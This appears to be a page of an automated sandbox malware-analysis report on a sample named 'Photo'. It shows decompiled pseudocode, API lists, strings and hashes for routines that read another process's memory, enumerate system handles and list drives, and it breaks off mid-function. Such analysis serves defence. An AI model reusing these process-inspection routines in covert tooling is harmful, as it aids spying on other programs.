														if(_t91 == 0) {
															_t126 = _v220 & 0x0000ffff;
															_v456 = _v212;
															_v452 = _v208;
															goto L45;
														} else {
															__eflags = _t91 != 1;
															if(_t91 != 1) {
																L39:
																__eflags = _t128 - 2;
																if(_t128 != 2) {
																	goto L44;
																} else {
																	goto L40;
																}
															} else {
																_v456 = _v148;
																_v452 = _v144;
																L40:
																__eflags = _v388 - _t100;
																if(_v388 == _t100) {
																	L43:
																	_t80 = E02765C90(_t122, _v396,  &_v380);
																	__eflags = _t80;
																	if(_t80 != 0) {
																		goto L57;
																	} else {
																		L44:
																		_t126 = _v380;
																		L45:
																		_t100 =  *0x27691fc(_t126 + 2, 1);
																		_t130 = _t130 + 8;
																		__eflags = _t100;
																		if(_t100 != 0) {
																			__eflags = _v388;
																			if(_v388 == 0) {
																				L51:
																				_t72 = ReadProcessMemory(_t122, _v396, _t100, _t126, 0);
																				__eflags = _t72;
																				if(_t72 != 0) {
																					goto L53;
																				} else {
																					_push("ReadProcessMemory");
																					goto L55;
																				}
																			} else {
																				__eflags = _v384;
																				if(_v384 != 0) {
																					goto L51;
																				} else {
																					_t75 =  *0x276d800(_t122, _v396, _v392, _t100, _t126, 0, 0);
																					__eflags = _t75;
																					if(_t75 >= 0) {
																						L53:
																						CloseHandle(_t122);
																						 *_v24 = _t100;
																						 *_v20 = _t126;
																						__eflags = 0;
																						return 0;
																					} else {
																						_push("NtWow64ReadVirtualMemory64");
																						goto L55;
																					}
																				}
																			}
																		} else {
																			 *0x27692bc();
																			goto L57;
																		}
																	}
																} else {
																	__eflags = _v384 - _t100;
																	if(_v384 != _t100) {
																		goto L43;
																	} else {
																		E027610D0("can\'t query 64-bit process in 32-bit-WoW mode");
																		goto L56;
																	}
																}
															}
														}
													}
												} else {
													_push("NtWow64ReadVirtualMemory64(ProcessParameters)");
													goto L55;
												}
											} else {
												_push("NtWow64ReadVirtualMemory64");
												goto L55;
											}
										} else {
											_push("NtWow64QueryInformationProcess64(ProcessBasicInformation)");
											L55:
											E02761090();
											goto L56;
										}
									} else {
										_t95 = E02767BE0("ntdll.dll", "NtWow64ReadVirtualMemory64");
										_t130 = _t130 + 8;
										 *0x276d800 = _t95;
										__eflags = _t95;
										if(_t95 != 0) {
											_t83 =  *0x276d7fc; // 0x0
											goto L15;
										} else {
											 *0x2769288();
											E027610D0("can\'t query 64-bit process in 32-bit-WoW mode");
											goto L56;
										}
									}
								} else {
									_t83 = E02767BE0("ntdll.dll", "NtWow64QueryInformationProcess64");
									_t130 = _t130 + 8;
									 *0x276d7fc = _t83;
									if(_t83 != 0) {
										goto L11;
									} else {
										 *0x2769288();
										E027610D0("can\'t query 64-bit process in 32-bit-WoW mode");
										L56:
										L57:
										_t55 = CloseHandle(_t122);
										if(_t100 != 0) {
											_t55 =  *0x2769214(_t100);
										}
										goto L59;
									}
								}
							}
						}
					}
				}
			}

0x02766108
0x02766110
0x02766112
0x02766117
0x02766138
0x0276613d
0x02766119
0x0276611e
0x02766123
0x02766123
0x02766140
0x02766144
0x0276649f
0x027664a9
0x0276614a
0x0276614e
0x0276614f
0x02766155
0x0276615b
0x02766160
0x0276647a
0x0276647a
0x00000000
0x02766166
0x0276616a
0x0276616b
0x02766170
0x00000000
0x02766176
0x0276617a
0x0276630a
0x02766310
0x02766312
0x0276633c
0x0276633e
0x02766340
0x0276635b
0x0276635d
0x0276635f
0x0276636d
0x0276636d
0x02766370
0x0276639f
0x027663a7
0x00000000
0x02766372
0x02766372
0x02766372
0x02766375
0x0276638d
0x02766392
0x00000000
0x02766377
0x02766377
0x0276637a
0x00000000
0x0276637c
0x02766383
0x00000000
0x02766383
0x0276637a
0x02766375
0x02766361
0x02766361
0x00000000
0x02766361
0x02766342
0x02766342
0x00000000
0x02766342
0x02766314
0x02766314
0x0276631a
0x00000000
0x0276631f
0x0276618a
0x0276618a
0x02766191
0x027661c3
0x027661c3
0x027661c9
0x02766200
0x0276620f
0x02766211
0x02766213
0x0276623e
0x02766244
0x02766246
0x02766274
0x0276627a
0x0276627c
0x0276628a
0x0276628a
0x0276628d
0x027662e9
0x027662f1
0x027662f5
0x00000000
0x0276628f
0x0276628f
0x0276628f
0x02766292
0x027662c6
0x027662ce
0x027662d2
0x00000000
0x02766294
0x02766294
0x02766297
0x027663ad
0x027663ad
0x027663b0
0x00000000
0x00000000
0x00000000
0x00000000
0x0276629d
0x027662ab
0x027662af
0x027663b2
0x027663b2
0x027663b6
0x027663cd
0x027663d8
0x027663e0
0x027663e2
0x00000000
0x027663e8
0x027663e8
0x027663e8
0x027663ec
0x027663f8
0x027663fa
0x027663fd
0x027663ff
0x02766409
0x0276640e
0x02766439
0x02766443
0x02766449
0x0276644b
0x00000000
0x0276644d
0x0276644d
0x00000000
0x0276644d
0x02766410
0x02766410
0x02766415
0x00000000
0x02766417
0x02766428
0x0276642e
0x02766430
0x02766454
0x02766455
0x0276646a
0x0276646c
0x02766470
0x02766479
0x02766432
0x02766432
0x00000000
0x02766432
0x02766430
0x02766415
0x02766401
0x02766401
0x00000000
0x02766401
0x027663ff
0x027663b8
0x027663b8
0x027663bc
0x00000000
0x027663be
0x027663c3
0x00000000
0x027663c3
0x027663bc
0x027663b6
0x02766297
0x02766292
0x0276627e
0x0276627e
0x00000000
0x0276627e
0x02766248
0x02766248
0x00000000
0x02766248
0x02766215
0x02766215
0x0276647f
0x0276647f
0x00000000
0x0276647f
0x027661cb
0x027661d5
0x027661da
0x027661dd
0x027661e2
0x027661e4
0x027661fb
0x00000000
0x027661e6
0x027661e6
0x027661f1
0x00000000
0x027661f1
0x027661e4
0x02766193
0x0276619d
0x027661a2
0x027661a5
0x027661ac
0x00000000
0x027661ae
0x027661ae
0x027661b9
0x02766484
0x02766487
0x02766488
0x02766490
0x02766493
0x02766499
0x00000000
0x02766490
0x027661ac
0x02766191
0x0276617a
0x02766170
0x02766160

APIs

OpenProcess.KERNEL32(00001410,00000000,00000001,?,00000000,?,00000000), ref: 02766130
GetCurrentProcess.KERNEL32(?,?,00000000), ref: 0276614F
IsWow64Process.KERNEL32(00000000,?,00000000), ref: 0276615C
IsWow64Process.KERNEL32(00000000,?,?,00000000), ref: 0276616C
PyErr_Clear.PYTHON27(?,?,?,00000000), ref: 027661AE
PyErr_Clear.PYTHON27(?,?,?,00000000), ref: 027661E6
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 02766488
6C423B4E.MSVCR90(00000000,?,?,00000000), ref: 02766493

Part of subcall function 027610D0: PyObject_CallFunction.PYTHON27(?,(is),0000000D,00000000,0276D7E0), ref: 0276110A
Part of subcall function 027610D0: PyErr_SetObject.PYTHON27(00000000,00000000,?,(is),0000000D,00000000,0276D7E0), ref: 0276111C

Part of subcall function 02767BE0: PyEval_SaveThread.PYTHON27(?,00000000,?,02767CAF,ntdll.dll,NtQuerySystemInformation,02767FF5,027659E9), ref: 02767BE3
Part of subcall function 02767BE0: LoadLibraryA.KERNEL32(?,?,00000000,?,02767CAF,ntdll.dll,NtQuerySystemInformation,02767FF5,027659E9), ref: 02767BF0
Part of subcall function 02767BE0: PyEval_RestoreThread.PYTHON27(00000000,?,00000000,?,02767CAF,ntdll.dll,NtQuerySystemInformation,02767FF5,027659E9), ref: 02767BF9
Part of subcall function 02767BE0: PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000,?,027659E9), ref: 02767C08

Strings

N;Bl, xrefs: 02766493
ntdll.dll, xrefs: 027661D0
NtWow64QueryInformationProcess64, xrefs: 02766193
NtQueryInformationProcess(ProcessBasicInformation), xrefs: 02766314
ReadProcessMemory(ProcessParameters), xrefs: 02766361
can't query 64-bit process in 32-bit-WoW mode, xrefs: 027663BE
ntdll.dll, xrefs: 02766198
ReadProcessMemory, xrefs: 02766342
NtWow64ReadVirtualMemory64, xrefs: 02766248
NtWow64QueryInformationProcess64(ProcessBasicInformation), xrefs: 02766215
IsWow64Process, xrefs: 0276647A
NtWow64ReadVirtualMemory64, xrefs: 027661CB
can't query 64-bit process in 32-bit-WoW mode, xrefs: 027661B4
ReadProcessMemory, xrefs: 0276644D
NtWow64ReadVirtualMemory64, xrefs: 02766432
can't query 64-bit process in 32-bit-WoW mode, xrefs: 027661EC
NtWow64ReadVirtualMemory64(ProcessParameters), xrefs: 0276627E

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_Process$ClearEval_ThreadWow64$C423CallCloseCurrentFilenameFromFunctionHandleLibraryLoadObjectObject_OpenRestoreSaveWindowsWith
String ID: IsWow64Process$N;Bl$NtQueryInformationProcess(ProcessBasicInformation)$NtWow64QueryInformationProcess64$NtWow64QueryInformationProcess64(ProcessBasicInformation)$NtWow64ReadVirtualMemory64$NtWow64ReadVirtualMemory64$NtWow64ReadVirtualMemory64$NtWow64ReadVirtualMemory64(ProcessParameters)$ReadProcessMemory$ReadProcessMemory$ReadProcessMemory(ProcessParameters)$can't query 64-bit process in 32-bit-WoW mode$can't query 64-bit process in 32-bit-WoW mode$can't query 64-bit process in 32-bit-WoW mode$ntdll.dll$ntdll.dll
API String ID: 2267703521-607678232
Opcode ID: 7fe8da30d4696a85e3e22ce8c989d328539ee88cfb7580e51c922f9759b0d111
Instruction ID: 723c899aafbbcb5fd1854959034f2bead95bd2c6c3071e4e9dbdfdf7dd29fdee
Opcode Fuzzy Hash: 7fe8da30d4696a85e3e22ce8c989d328539ee88cfb7580e51c922f9759b0d111
Instruction Fuzzy Hash: 8291D1B1644302EBE7219F519C4DF7B7BECAB80B44F44491EFE85A2244E778D904CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02766970 Relevance: 52.7, APIs: 29, Strings: 1, Instructions: 243
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E02766970() {
				void* __ebp;
				void* _t30;
				void* _t31;
				intOrPtr* _t34;
				intOrPtr _t41;
				long _t46;
				void* _t49;
				void* _t50;
				void* _t52;
				void* _t53;
				void* _t54;
				void* _t58;
				void* _t67;
				void* _t72;
				intOrPtr _t74;
				long _t75;
				signed short _t76;
				long _t86;
				void** _t87;
				void* _t89;
				void* _t90;
				void* _t91;
				void* _t92;
				int _t93;
				intOrPtr _t94;
				void* _t95;

				_t90 = 0;
				_t86 = 0x10000;
				 *((intOrPtr*)(_t91 + 0x20)) = 0;
				 *((char*)(_t91 + 0x13)) = 0;
				 *((intOrPtr*)(_t91 + 0x14)) = 0;
				_t93 =  *0x276d804; // 0x0
				if(_t93 == 0) {
					 *0x276d80c = CreateEventA(0, 0, 0, 0);
					_t67 = CreateEventA(0, 0, 0, 0);
					 *0x276d810 = _t67;
					 *0x27690e0(0x276dbc0);
					 *0x276d804 = 1;
				}
				 *0x2769100(0x276dbc0);
				_t94 =  *0x276d80c; // 0x0
				if(_t94 == 0) {
					L40:
					 *0x27692b8(0);
					_t92 = _t91 + 4;
					L41:
					 *((char*)(_t92 + 0x13)) = 1;
					L42:
					_t30 =  *0x276d818; // 0x0
					L43:
					if(_t30 != 0) {
						HeapFree(GetProcessHeap(), 0, _t30);
					}
					_t31 =  *0x276d808; // 0x0
					 *0x276d818 = 0;
					 *0x276d81c = 0;
					 *0x276d820 = 0;
					if(_t31 != 0) {
						CloseHandle(_t31);
					}
					 *0x276d808 = 0;
					if(_t90 != 0) {
						HeapFree(GetProcessHeap(), 0, _t90);
					}
					if( *((intOrPtr*)(_t92 + 0x13)) != 0) {
						_t34 =  *((intOrPtr*)(_t92 + 0x14));
						if(_t34 != 0) {
							 *_t34 =  *_t34 + 0xffffffff;
							if( *_t34 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t34 + 4)) + 0x18))))(_t34);
								_t92 = _t92 + 4;
							}
						}
						 *((intOrPtr*)(_t92 + 0x14)) = 0;
					}
					 *0x27690f8(0x276dbc0);
					return  *((intOrPtr*)(_t92 + 0x14));
				}
				_t95 =  *0x276d810; // 0x0
				if(_t95 == 0) {
					goto L40;
				}
				_t41 =  *0x27692a4(0);
				_t92 = _t91 + 4;
				 *((intOrPtr*)(_t92 + 0x14)) = _t41;
				if(_t41 == 0) {
					goto L41;
				} else {
					goto L5;
				}
				do {
					L5:
					if(_t90 != 0) {
						HeapFree(GetProcessHeap(), 0, _t90);
					}
					_t86 = _t86 + _t86;
					_t90 = RtlAllocateHeap(GetProcessHeap(), 8, _t86);
					if(_t90 == 0) {
						 *0x27692bc();
						goto L41;
					}
					_t46 = NtQuerySystemInformation(0x40, _t90, _t86, _t92 + 0x20);
				} while (_t46 == 0xc0000004);
				if(_t46 >= 0) {
					 *((intOrPtr*)(_t92 + 0x18)) = 0;
					__eflags =  *_t90;
					if( *_t90 <= 0) {
						goto L42;
					}
					_t49 =  *0x276d818; // 0x0
					_t7 = _t90 + 0x10; // 0x10
					_t87 = _t7;
					 *(_t92 + 0x1c) = _t87;
					do {
						__eflags =  *((intOrPtr*)(_t87 - 4)) -  *((intOrPtr*)(_t92 + 0x28));
						if( *((intOrPtr*)(_t87 - 4)) !=  *((intOrPtr*)(_t92 + 0x28))) {
							L34:
							__eflags = _t49;
							if(_t49 != 0) {
								HeapFree(GetProcessHeap(), 0, _t49);
							}
							goto L36;
						}
						_t50 = GetCurrentProcess();
						_t81 =  *_t87;
						_t52 = DuplicateHandle( *(_t92 + 0x40),  *_t87, _t50, 0x276d808, 0, 1, 2);
						__eflags = _t52;
						if(_t52 == 0) {
							L33:
							_t49 =  *0x276d818; // 0x0
							goto L34;
						}
						_t75 = 0x20a;
						 *0x276d820 = 0x20a;
						while(1) {
							_t49 =  *0x276d818; // 0x0
							__eflags = _t49;
							if(_t49 != 0) {
								HeapFree(GetProcessHeap(), 0, _t49);
								_t75 =  *0x276d820; // 0x0
								_t49 = 0;
								__eflags = 0;
								 *0x276d818 = 0;
								 *0x276d81c = 0;
							}
							__eflags = _t75;
							if(__eflags == 0) {
								goto L34;
							}
							 *0x276d81c = _t75;
							if(__eflags <= 0) {
								L23:
								_t53 = E027668D0(_t49, _t81);
								__eflags = _t53;
								if(_t53 != 0) {
									goto L33;
								}
								_t54 =  *0x276dbd8; // 0x0
								__eflags = _t54 - 0xc0000004;
								if(_t54 == 0xc0000004) {
									_t75 =  *0x276d820; // 0x0
									continue;
								}
								__eflags = _t54;
								if(_t54 < 0) {
									goto L33;
								}
								_t49 =  *0x276d818; // 0x0
								_t76 =  *_t49 & 0x0000ffff;
								__eflags = _t76;
								if(_t76 <= 0) {
									goto L34;
								}
								_t89 =  *0x276928c( *((intOrPtr*)(_t49 + 4)), (_t76 & 0x0000ffff) >> 1);
								_t92 = _t92 + 8;
								__eflags = _t89;
								if(_t89 == 0) {
									L29:
									 *((char*)(_t92 + 0x13)) = 1;
									L30:
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t89 =  *_t89 + 0xffffffff;
										__eflags =  *_t89;
										if( *_t89 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t89 + 4)) + 0x18))))(_t89);
											_t92 = _t92 + 4;
										}
									}
									goto L33;
								}
								_t58 =  *0x2769314( *((intOrPtr*)(_t92 + 0x14)), _t89);
								_t92 = _t92 + 8;
								__eflags = _t58;
								if(_t58 == 0) {
									goto L30;
								}
								goto L29;
							}
							_t49 = RtlAllocateHeap(GetProcessHeap(), 8, _t75);
							 *0x276d818 = _t49;
							__eflags = _t49;
							if(_t49 == 0) {
								goto L36;
							}
							goto L23;
						}
						goto L34;
						L36:
						_t72 =  *0x276d808; // 0x0
						_t49 = 0;
						 *0x276d818 = 0;
						 *0x276d81c = 0;
						 *0x276d820 = 0;
						__eflags = _t72;
						if(_t72 != 0) {
							CloseHandle(_t72);
							_t49 =  *0x276d818; // 0x0
						}
						_t74 =  *((intOrPtr*)(_t92 + 0x18)) + 1;
						_t87 =  &(( *(_t92 + 0x1c))[7]);
						 *0x276d808 = 0;
						 *((intOrPtr*)(_t92 + 0x18)) = _t74;
						 *(_t92 + 0x1c) = _t87;
						__eflags = _t74 -  *_t90;
					} while (_t74 <  *_t90);
					goto L43;
				} else {
					_push("NtQuerySystemInformation(SystemExtendedHandleInformation)");
					E02767C40(_t46);
					_t92 = _t92 + 8;
					goto L41;
				}
			}

0x02766978
0x0276697b
0x02766980
0x02766984
0x02766988
0x0276698c
0x02766992
0x027669a4
0x027669a9
0x027669b0
0x027669b5
0x027669bb
0x027669bb
0x027669ca
0x027669d6
0x027669dc
0x02766be5
0x02766be6
0x02766bec
0x02766bef
0x02766bef
0x02766bf4
0x02766bf4
0x02766bf9
0x02766bfb
0x02766c02
0x02766c02
0x02766c08
0x02766c0d
0x02766c13
0x02766c19
0x02766c21
0x02766c24
0x02766c24
0x02766c2a
0x02766c32
0x02766c39
0x02766c39
0x02766c43
0x02766c45
0x02766c4b
0x02766c4d
0x02766c50
0x02766c59
0x02766c5b
0x02766c5b
0x02766c50
0x02766c5e
0x02766c5e
0x02766c67
0x02766c78
0x02766c78
0x027669e2
0x027669e8
0x00000000
0x00000000
0x027669ef
0x027669f5
0x027669f8
0x027669fe
0x00000000
0x00000000
0x00000000
0x00000000
0x02766a04
0x02766a04
0x02766a06
0x02766a0d
0x02766a0d
0x02766a13
0x02766a21
0x02766a25
0x02766a54
0x00000000
0x02766a54
0x02766a30
0x02766a36
0x02766a3f
0x02766a5f
0x02766a63
0x02766a66
0x00000000
0x00000000
0x02766a6c
0x02766a71
0x02766a71
0x02766a74
0x02766a80
0x02766a84
0x02766a87
0x02766b88
0x02766b88
0x02766b8a
0x02766b91
0x02766b91
0x00000000
0x02766b8a
0x02766a97
0x02766a9d
0x02766aa6
0x02766aac
0x02766aae
0x02766b83
0x02766b83
0x00000000
0x02766b83
0x02766ab4
0x02766ab9
0x02766ac7
0x02766ac7
0x02766acc
0x02766ace
0x02766ad5
0x02766adb
0x02766ae1
0x02766ae1
0x02766ae3
0x02766ae8
0x02766ae8
0x02766aee
0x02766af0
0x00000000
0x00000000
0x02766af6
0x02766afc
0x02766b17
0x02766b17
0x02766b1c
0x02766b1e
0x00000000
0x00000000
0x02766b20
0x02766b25
0x02766b2a
0x02766ac1
0x00000000
0x02766ac1
0x02766b2c
0x02766b2e
0x00000000
0x00000000
0x02766b30
0x02766b35
0x02766b38
0x02766b3b
0x00000000
0x00000000
0x02766b4d
0x02766b4f
0x02766b52
0x02766b54
0x02766b69
0x02766b69
0x02766b6e
0x02766b6e
0x02766b70
0x02766b72
0x02766b72
0x02766b75
0x02766b7e
0x02766b80
0x02766b80
0x02766b75
0x00000000
0x02766b70
0x02766b5c
0x02766b62
0x02766b65
0x02766b67
0x00000000
0x00000000
0x00000000
0x02766b67
0x02766b04
0x02766b0a
0x02766b0f
0x02766b11
0x00000000
0x00000000
0x00000000
0x02766b11
0x00000000
0x02766b97
0x02766b97
0x02766b9d
0x02766b9f
0x02766ba4
0x02766baa
0x02766bb0
0x02766bb2
0x02766bb5
0x02766bbb
0x02766bbb
0x02766bc8
0x02766bc9
0x02766bcc
0x02766bd2
0x02766bd6
0x02766bda
0x02766bda
0x00000000
0x02766a41
0x02766a41
0x02766a47
0x02766a4c
0x00000000
0x02766a4c

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0276699E
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 027669A9
RtlInitializeCriticalSection.NTDLL(0276DBC0), ref: 027669B5
RtlEnterCriticalSection.NTDLL(0276DBC0), ref: 027669CA
PyList_New.PYTHON27(00000000), ref: 027669EF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02766A0A
HeapFree.KERNEL32(00000000), ref: 02766A0D
GetProcessHeap.KERNEL32(00000008,00010000), ref: 02766A18
RtlAllocateHeap.NTDLL(00000000), ref: 02766A1B
NtQuerySystemInformation.NTDLL(00000040,00000000,00010000,?), ref: 02766A30
PyErr_NoMemory.PYTHON27 ref: 02766A54
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02766BFF
HeapFree.KERNEL32(00000000), ref: 02766C02
CloseHandle.KERNEL32(00000000), ref: 02766C24
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02766C36
HeapFree.KERNEL32(00000000), ref: 02766C39
RtlLeaveCriticalSection.NTDLL(0276DBC0), ref: 02766C67

Strings

NtQuerySystemInformation(SystemExtendedHandleInformation), xrefs: 02766A41

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Heap$Process$CriticalFreeSection$CreateEvent$AllocateCloseEnterErr_HandleInformationInitializeLeaveList_MemoryQuerySystem
String ID: NtQuerySystemInformation(SystemExtendedHandleInformation)
API String ID: 1998073440-3808510385
Opcode ID: e8402ac0ff773090ac537ce4d402c0ef8531804e14728c9cff85ee0375a152d8
Instruction ID: 119c588bfb9875c4bd1a2a9797829f02994677dde65e04ef58e60fe685e00bd5
Opcode Fuzzy Hash: e8402ac0ff773090ac537ce4d402c0ef8531804e14728c9cff85ee0375a152d8
Instruction Fuzzy Hash: FE816FB0A40343DFD720AF65DC8D93A7BEDEB44714F54C82DE94693241D7399858CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 027641B0 Relevance: 47.6, APIs: 23, Strings: 4, Instructions: 307threadCOMMON

Download Yara Rule

APIs

PyList_New.PYTHON27(00000000), ref: 027641E6
SetErrorMode.KERNEL32(00000001,?,00000410), ref: 02764208
PyArg_ParseTuple.PYTHON27(?,0276B728,?,?,00000410), ref: 02764224
PyObject_IsTrue.PYTHON27(?), ref: 0276423A
PyEval_SaveThread.PYTHON27 ref: 02764247
GetLogicalDriveStringsA.KERNEL32(000000FE,?), ref: 02764259
PyEval_RestoreThread.PYTHON27(00000000), ref: 02764262
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 02764270
SetErrorMode.KERNEL32(?), ref: 0276454A

Strings

(ssss), xrefs: 027644D0
,compressed, xrefs: 02764398
(ssss), xrefs: 02764421
A:\, xrefs: 027642EE

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: ErrorEval_ModeThread$Arg_DriveErr_FromList_LogicalObject_ParseRestoreSaveStringsTrueTupleWindows
String ID: (ssss)$(ssss)$,compressed$A:\
API String ID: 1855366723-68049997
Opcode ID: 291a2b88d16f5629d0fb18c1a6fa08e97801519aef2ea7e5a0f6cecbcbaae3b8
Instruction ID: ed7ee9b5236f83ba1ccd471066ede9a53546a2e3d71f3f1595c317ef160ffb44
Opcode Fuzzy Hash: 291a2b88d16f5629d0fb18c1a6fa08e97801519aef2ea7e5a0f6cecbcbaae3b8
Instruction Fuzzy Hash: 1FA10371944301AFD3309F60EC8DFBB7BA8AF85718F044A18FE9996181E775D509CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7760 Relevance: 42.2, APIs: 15, Strings: 9, Instructions: 188memoryCOMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27 ref: 1E7A778B
PyErr_Clear.PYTHON27 ref: 1E7A779E
PyArg_ParseTuple.PYTHON27(?,s#:SID,?,?), ref: 1E7A77B0
PyErr_Clear.PYTHON27 ref: 1E7A77BD
PyArg_ParseTuple.PYTHON27(?,(bbbbbb)O:SID,?,?,?,?,?,?,?), ref: 1E7A77E8
PySequence_Check.PYTHON27(?), ref: 1E7A77F6
PyErr_SetString.PYTHON27(00000000,sub authorities sequence size must be <= 8), ref: 1E7A7811
PySequence_Size.PYTHON27(?), ref: 1E7A7828
PySequence_Tuple.PYTHON27(?), ref: 1E7A7844
PyArg_ParseTuple.PYTHON27(00000000,|llllllll:SID,?,?,?,?,?,?,?,?), ref: 1E7A7881
PyErr_SetString.PYTHON27(?,sub authorities must be a sequence of integers.), ref: 1E7A78AA
AllocateAndInitializeSid.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 1E7A78EF
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(AllocateAndInitializeSid,00000000), ref: 1E7A78FF

Part of subcall function 1E7A9F20: GetLastError.KERNEL32(00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F2A
Part of subcall function 1E7A9F20: ?PyWin_GetErrorMessageModule@@YAPAUHINSTANCE__@@K@Z.PYWINTYPES27(00000000,00000000,?,1E7A5F68,MakeSelfRelativeSD,00000000), ref: 1E7A9F38
Part of subcall function 1E7A9F20: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 1E7A9F69
Part of subcall function 1E7A9F20: ?PyWinObject_FromTCHAR@@YAPAU_object@@PBDH@Z.PYWINTYPES27(No error message is available,000000FF,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1E7A9FC7
Part of subcall function 1E7A9F20: ?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF,00000000,?,6C423D3F), ref: 1E7A9FD7
Part of subcall function 1E7A9F20: Py_BuildValue.PYTHON27((iNN),00000000,00000000,?,00000000,?,6C423D3F), ref: 1E7A9FE6
Part of subcall function 1E7A9F20: LocalFree.KERNEL32(?), ref: 1E7A9FFF
Part of subcall function 1E7A9F20: PyErr_SetObject.PYTHON27(02FC03E0,00000000), ref: 1E7AA010

??0PySID@@QAE@PAX@Z.PYWINTYPES27(?), ref: 1E7A7927
??0PySID@@QAE@HPAX@Z.PYWINTYPES27(?,?), ref: 1E7A7951

Strings

AllocateAndInitializeSid, xrefs: 1E7A78FA
(bbbbbb)O:SID, xrefs: 1E7A77E2
sub authorities sequence size must be <= 8, xrefs: 1E7A7838
sub authorities must be a sequence of integers., xrefs: 1E7A7803
s#:SID, xrefs: 1E7A77AA
sub authorities must be a sequence of integers., xrefs: 1E7A78A4
, xrefs: 1E7A7783
|i:SID, xrefs: 1E7A7775
|llllllll:SID, xrefs: 1E7A787B

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_Tuple$Arg_Parse$Sequence_U_object@@$ClearErrorFromMessageStringWin_$AllocateBuildCheckCoreE__@@Error@@FormatFreeInitializeLastLocalModule@@ObjectObject_SizeString@@String_Value
String ID: $(bbbbbb)O:SID$AllocateAndInitializeSid$s#:SID$sub authorities must be a sequence of integers.$sub authorities must be a sequence of integers.$sub authorities sequence size must be <= 8$|i:SID$|llllllll:SID
API String ID: 3930113695-2159023040
Opcode ID: 62e4bf38b69474a7b4bc0764591f66a26398c3a547c6a95a7976340fc45e5968
Instruction ID: 028371bcb55190a90e016fd9607be3886910ebd3da858fc0b76b4ee8474cc587
Opcode Fuzzy Hash: 62e4bf38b69474a7b4bc0764591f66a26398c3a547c6a95a7976340fc45e5968
Instruction Fuzzy Hash: 0C5142B6614245ABE305DB94DC80DDFB7EDAFC8314F084B1DFA4687250E635E909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02766C80 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 201
memoryfilenativeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E02766C80() {
				void* _t47;
				long _t56;
				void* _t59;
				void* _t61;
				signed int _t70;
				void* _t74;
				void* _t78;
				intOrPtr* _t80;
				void* _t91;
				long _t94;
				intOrPtr* _t97;
				void** _t101;
				void* _t102;
				void* _t103;
				void* _t104;
				void* _t106;

				_t91 = 0;
				_t78 = 0;
				_t94 = 0x10000;
				 *((intOrPtr*)(_t103 + 0x28)) = 0;
				 *((intOrPtr*)(_t103 + 0x18)) = 0;
